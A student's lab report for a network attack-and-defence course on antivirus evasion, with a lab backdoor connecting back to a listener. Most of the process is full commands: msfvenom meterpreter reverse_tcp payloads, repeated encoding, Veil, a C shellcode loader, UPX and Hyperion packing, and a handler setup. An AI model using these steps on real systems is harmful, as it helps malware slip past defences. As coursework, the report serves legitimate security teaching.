20232318 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • veil,加壳工具
  • 使用C + shellcode编程

 (2)通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

2.实验目的

  • 掌握免杀原理与技术
  • 回答问题

    (1)杀软是如何检测出恶意代码的?

    • 杀软主要通过 3 类核心机制识别恶意代码,覆盖已知和未知威胁。

      1. 特征码检测(最基础)

      提取恶意代码的唯一 “指纹”(如特定字符串、指令序列),与杀软数据库中的特征库比对,匹配即判定为恶意。适用于已知恶意代码,检测速度快、准确率高。

      2. 行为分析检测(动态检测)

      监控程序运行时的行为,若出现恶意操作(如修改系统关键文件、窃取隐私、自我复制),直接判定威胁。无需依赖特征库,能检测未知恶意代码(零日漏洞利用)。

      3. 启发式检测(智能预判)

      基于预设规则和算法,分析程序的代码结构、逻辑流程,判断其是否 “疑似恶意”(如代码加密异常、规避系统检测)。平衡特征码和行为分析的短板,可提前拦截新型恶意代码。
  • (2)免杀是做什么?

    • 免杀全称 “免杀毒软件检测”,是通过技术手段修改恶意代码(或正常程序),让杀软无法识别、拦截,最终实现预期功能(如渗透测试、恶意执行)的操作。核心目标是 “绕过杀软检测”,常见于渗透测试、网络安全攻防场景(恶意用途属违法违规行为)。
  • (3)免杀的基本方法有哪些?

    • 免杀方法围绕 “规避杀软检测机制” 展开,核心分为 3 类:

      1. 特征码免杀(针对特征码检测)

      • 对恶意代码进行 “改头换面”,如修改文件名、替换无关代码、重写特征字符串。
      • 给代码加壳(加密 / 压缩),隐藏原始特征,杀软解压前无法识别。

      2. 行为免杀(针对行为分析检测)

      • 模拟正常程序行为,如延迟恶意操作、分段执行关键指令,避免集中触发杀软告警。
      • 规避敏感行为,如不直接修改系统文件,通过间接调用系统接口实现功能。

      3. 混淆免杀(针对启发式检测)

    • 代码混淆:打乱代码结构(如添加无效代码、嵌套多层循环),让杀软无法识别恶意逻辑。
    • 指令替换:用功能相同的合法指令替换敏感指令,保持功能不变但规避规则判定

3.实验过程与分析

   核心工具:选取virustotal工具来进行在线检测评价免杀效果,软件网站为:VirusTotal - Home

894acff5b3c78e8d41f1d73c1078392f

  3.1:构建免杀效果基准

  3.1.1进入终端,输入:ifconfig查看kali的ip地址

1aa66b4a1516021be8e62435d5c90c31

   3.1.2先生成未处理的后门程序,以其检出率作为对比基准。
   打开 Kali 终端,执行命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.129 LPORT=2318 -f exe > 20232318met.exe

59ef11524d3b09fd64ece39e66aab5e4

   访问 VirScan,上传20232318met.exe,记录检出率,检测结果为57/71,VirScan中使用了71个杀毒引擎对文件进行检测,发现其中有57个引擎对此文件判定为恶意软件

36a98bf3f81d3285dde33edc37138310

  3.2:Msfvenom 编码免杀(多格式测试)

  通过编码变形恶意代码,测试不同格式的免杀效果。

  3.2.1. EXE 文件编码(单次 / 多次)

  单次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.2.129 LPORT=2318 -f exe >met20232318_1.exe

5a6edeeb0e628943bc74fe2886623497

   上传文件到 VirScan,记录检出率,发现检测结果与未处理的后门程序相同,说明编码变形无作用

91d69c69e6215f873affb3f666e3703e

   对此进行10 次编码,增强变形,查看是否有效果,输入:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.2.129  LPORT=2318 -f exe > met20232318_2.exe

f1af22b47183b0cb61af208d16dd2131

   上传文件到 VirScan,记录检出率,如下图,发现即使进行了增强变形,也无法对于现在最新的检测软件有隐藏作用。

ca1575a0b69b0021853bf04efc48edbf

  3.2.2 JAR 文件编码

  生成基础 JAR 包:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.2.129  LPORT=2318 -f jar > metjar20232318.jar

9509600d43875f5c53c94d003b03d7a4

   上传检测,记录检出率,如下图发现有所作用,对于检测的效果发现减少了排查

48532151dc2dbba40966143ac0a68943

   再次认证,进行多次编码探究增强变形能否效果更好,10 次编码 JAR 包:msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.2.129 LPORT=2318 -f jar > met-encode-jar20232318.jar

3240f73e69bcf344026aca9a59d63ae4

   上传检测,记录检出率,发现增强变形多次编码没有什么作用

8aa815b07a0dcd828410561fbb45bcfb 

  3.2.3 PHP 文件编码

  生成基础 PHP 文件:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.129  LPORT=2318 -f php > metphp_20232318.php

e67966b5ef9d7392cad75f734f98d14f

   上传检测,记录检出率,发现拥有良好的作用。

bf12817aa887896f3089c1ac5f8a7aed

   再次探究10 次编码 PHP 文件,能否拥有更好的作用,输入代码:msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.2.129 LPORT=2318 -f php > met_encoded10_php20232318.php

c31cf235301527fa25b8e8d863b22fff

   上传检测,记录检出率,发现检出率更加低,说明增强变形多次编码php文件拥有最好的作用。

9e7d1e366e6a760a3f498144860d818f

  3.2.4 APK文件编码

  生成apk文件,输入代码 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.129  LPORT=2318  x > 20232318.apk

fcce33891f632d81123d3f65459edf01

   上传检测,记录检出率,发现对于检测效果弱于php文件

d00621f5a6fd0be39cefe12aca8653c2

 

  3.3 Veil 工具免杀

  Veil 通过模拟正常编译流程生成免杀 EXE,效果优于单纯编码。

  3.3.1. 安装 Veil

  由于事先没有拓展虚拟机的硬盘内存,导致我后面步骤下载不够完全,后面拓盘时候虚拟机黑屏无法打开,故此我重装了一个硬盘内存设置为50g虚拟机,kaliIP也进行了更改。

  更新软件包:sudo apt update

5caab7b658ce38b7a2e453b13e4a775e

  安装 Veil:sudo apt -y install veil

81a2a48853765bb18750cd6a40bf53fb

   初始化配置,需输入密码,静默安装依赖:sudo /usr/share/veil/config/setup.sh --force --silent(第一个虚拟机在此步安装不够内存,故需删除虚拟机重新创建)

f166fd15cf9cbcf134b66a4f963a3c71

   如下图显示安装完成

d6fac1575dcb754a620e5e8b2dc7a017

  3.3.2 生成 Veil 免杀 EXE

  启动veil,进入躲避模块:

  veil
  use 1  # 选择Evasion模块
 

f22e97e4e1bac813e19db5bc38b4d01d

 

24087fb0724aa2a3bbf30681fefcf57b

   查看载荷,选择 C 语言反向 TCP 载荷:

  list  # 列出所有载荷
  use 7  # 选择c/meterpreter/rev_tcp.py
 

01bb2edfaf9cc8f035a8866040925a78

 

30bc453608bef5b1da7b297e044e1224

   配置攻击机信息
  set LHOST 192.168.2.130
  set LPORT 2318
  generate  # 开始生成
  payload20232318  # 输入文件名

cf4258e7b9954b0dd435cbc7e5602a5d

 

85a7e062cfaa84e7fe714d571a4fe1e6

   生成路径为:/var/lib/veil/output/compiled/payload20232318.exe,将此文件上传至 VirScan进行检测

7378037f1b2b83a5a40360d397d8abbb

  检测结果发现相对于别的文件来说,效果高于EXE文件但低于JAR文件

811f61d5e2a7929badd38adc14050502

  3.4:C 语言调用 Shellcode 免杀

   通过源码级植入恶意代码,隐藏在正常 C 程序中。

  3.4.1. 生成 Shellcode(C 格式)

  输入代码:msfvenom -p windows/meterpreter/reverse tcp LHosT=192.168.2.130 LPORT=2318 -f c

  运用msfvenom工具将恶意代码嵌入到使用C语言编写的程序中,生成带有恶意代码的文件

0b9e3e612e85e4f70476fe8fe5a4cbdf

  3.4.2. 编写 C 程序(添加 main 函数)

  用 vi 编辑器打开文件:

  vi shellcode_c_20232318.c   

  在 Shellcode 数组后添加 main 函数:保存退出(按Esc,输入:wq)。

  int main(){
    int (*func)()=(int(*)())buf;
    func();
  }

  保存退出(按Esc,输入:wq

f755cf9c96a3ed811a38ec214bff601e

  3.4.3. 编译为 EXE

  输入代码:i686-w64-mingw32-g++ shellcode_c20232318.c -o shellcode_c_20232318.exe,将C文件编译为可执行文件,并且根据所设置的目录找到此文件

6806dda0bf0068644f630bb3c337f154

   将此文件上传检测,可见效果不佳

7ea1cfb0c77575c8c9ffd4488432035d

 

  3.5:加壳技术增强免杀

  对 C 语言生成的 EXE 加壳,隐藏静态特征。

  3.5.1. UPX 压缩壳

  输入代码,生成带有UPX壳的EXE文件

  upx shellcode_c20232318.exe -o shellcode_c_upx20232318.exe

  

27893e4887a5973f12485fbf9f91a096

  上传检测,发现对于普通C语言生成的Shellcode还有更多的检测结果,说明添加UPX压缩壳对于现在的检测软件已经作用不大,已经被标记检测了

8121a26db6bab8d260ad76ca18b97d9c

  3.5.2. Hyperion 加密壳

  复制文件到 Hyperion 目录:

  cp shellcode_c20232318.exe /usr/share/windows-resources/hyperion/
  cd /usr/share/windows-resources/hyperion

  加密生成新文件:

  wine hyperion.exe -v shellcode_c20232318.exe shellcode_c_hyp20232318.exe

8cd35c61eaac50bff3a7c5f724c39b2f

   上传检测,发现效果更加差,因杀软标记该壳为高风险

f19e8219301dc03cfe7a19c2ede437ee

  3.6:组合工具终极免杀

  结合编码、C 编译、UPX 压缩,实现最优免杀

  3.6.1 生成 10 次编码的 C 格式 Shellcode:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.2.130 LPORT=2318 -f c > 20232318_shellcode_multi.c

1cf3d41de11fc0b7c42df071aabf3f61

  3.6.2 用 vi 添加 main 函数(同3.4.2)

d2e3abb0747866a50fafcdb9b2b37bfd

7ee5fac316f0a03a30411fd0f598e11c

   3.6.3 编译为 EXE:i686-w64-mingw32-g++ 20232318_shellcode_multi.c -o 20232318_shellcode_multi.exe

5c087e3eb8a0c4171668ac4f157e1e1d

   3.6.4 加 UPX 压缩壳:upx 20232318_shellcode_multi.exe -o 20232318_shellcode_multi_2.exe

5f38339ab8195efd0bc556314b7ce540

   3.6.5 上传 VirScan 检测:发现效果不错,相较于所有单一方式,组合工具对于检测作用更好

f0b2c079ce83acc31a4a2860d3f7e9f5

  3.6.6 检测免杀效果

  将文件20232318_shellcode_multi_2.exe 使用Windows主机上下载的杀毒软件进行扫描,我使用的软件为金山毒霸,发现一开始复制就被进入windows主机便被查杀,说明仍然能够查出其中的潜在威胁

afab7854d6514b92b98ab82546366f97

 

381a644ace543c13540f2e6b680df0a5

  3.7:杀软回连实测

  验证免杀程序在真实杀软环境中的有效性。

  Kali 端启动监听:

  msfconsole

  use exploit/multi/handler

  set payload windows/meterpreter/reverse_tcp

  set LHOST 192.168.2.130

  set LPORT 2318

  exploit

66f8bbd2590c8bd26e18ccff314befd8

  如下图发现刚刚开始进行回连,以Windows主机作为目标主机,以linux作为攻击主机,在windows上启动后门程序时,一开始就被金山毒霸查杀,我将程序添加信任后,如下图2,便可以成功运行

9851f2f4dd4c8df2d315c5a5a4848748

e2d9f851d890cfb733524bf37f3b4659

 

4.问题及解决

  问题1:没有对kali虚拟机进行拓展硬盘内存前,进行下载veli,初始化配置静默安装依赖时,发现出现多项error,查询结果发现是由于内存不足导致部分内容无法下载,因此我关机虚拟机,进行硬盘内存直接拓展,从20g拓展至50g后,重新打开kali虚拟机发现一直黑屏无法成功启动

  问题1解决方案:重新配置一台虚拟机,在配置时便把硬盘内存调节至50g,以防后续内存不够,重新配置完后再进行下载veli,显示所有内容安装成功,证明是内存不够影响了veli下载。

  问题2:在最后一步杀软回连实测时,最初在windows上启动后门程序,发现出现下图结果错误无法成功启动程序。

e7eaf702c94d6d4ca1a0b9a5e8dbf9e3

   问题2解决方案:通过网络搜寻知识,发现windows缺少了libgcc_s_dw2-1.dll此文件来编译代码,故此下载一个应用程序拓展,再次点击程序发现成功启动,杀软进行报告。

5.心得体会

  本次免杀原理与实践实验,是我从 “理论认知” 走向 “实战落地” 的一次关键突破。从最初搭建环境时的手忙脚乱,到最终成功生成低检出率的免杀程序,每一步调试与解决问题的过程,都让我对网络攻防的 “对抗本质” 有了更深刻的理解。
  安装 Veil 工具时,因虚拟机硬盘空间不足报错,不得不重新规划磁盘分区、扩容并重装依赖,这让我意识到:攻防实验的 “基础准备” 远比想象中重要 —— 哪怕只是虚拟机的内存、硬盘分配,都可能直接影响后续实验的推进。实验过程中的 “试错与优化”,是最让我收获满满的环节。最初尝试 Msfvenom 单次编码时,免杀效果微乎其微,检出率仅下降 1-2 个引擎;但当我将编码次数提升至 10 次,并切换为 PHP 格式后,检出率骤降十几—— 这一对比让我清晰看到 “编码迭代” 与 “文件格式” 对免杀效果的影响:PHP 作为脚本语言,其执行逻辑更难被静态特征码匹配,而多次编码则能进一步打乱恶意代码的原始结构。后续用 C 语言调用 Shellcode 时,我曾因未添加-mconsole参数遭遇编译报错,反复检查命令后才发现是编译器默认识别为 GUI 程序,缺少对应入口函数。这个小插曲提醒我:攻防技术的细节容错率极低,任何一个参数的遗漏,都可能导致整个实验流程卡顿。
  此次实验不仅让我掌握了 Msfvenom 编码、Veil 工具使用、加壳等免杀技术,更重要的是培养了我的 “对抗思维”:在攻防领域,没有绝对的 “安全” 或 “免杀”,只有 “检测与规避” 的持续博弈。同时,每一次报错与调试的过程,也锻炼了我排查问题的能力 —— 从查看日志定位错误原因,到查阅文档寻找解决方案,这些能力远比单纯掌握技术操作更有价值。未来若再接触类似实验,我会更注重 “提前规划”,也会尝试更多组合策略,进一步探索免杀技术的边界,同时始终牢记:网络攻防技术的核心是 “守护安全”,需在合法合规的前提下使用所学技能,坚守技术伦理底线。

 

 

 

posted @ 2025-10-27 09:30  王天昊  阅读(12)  评论(0)    收藏  举报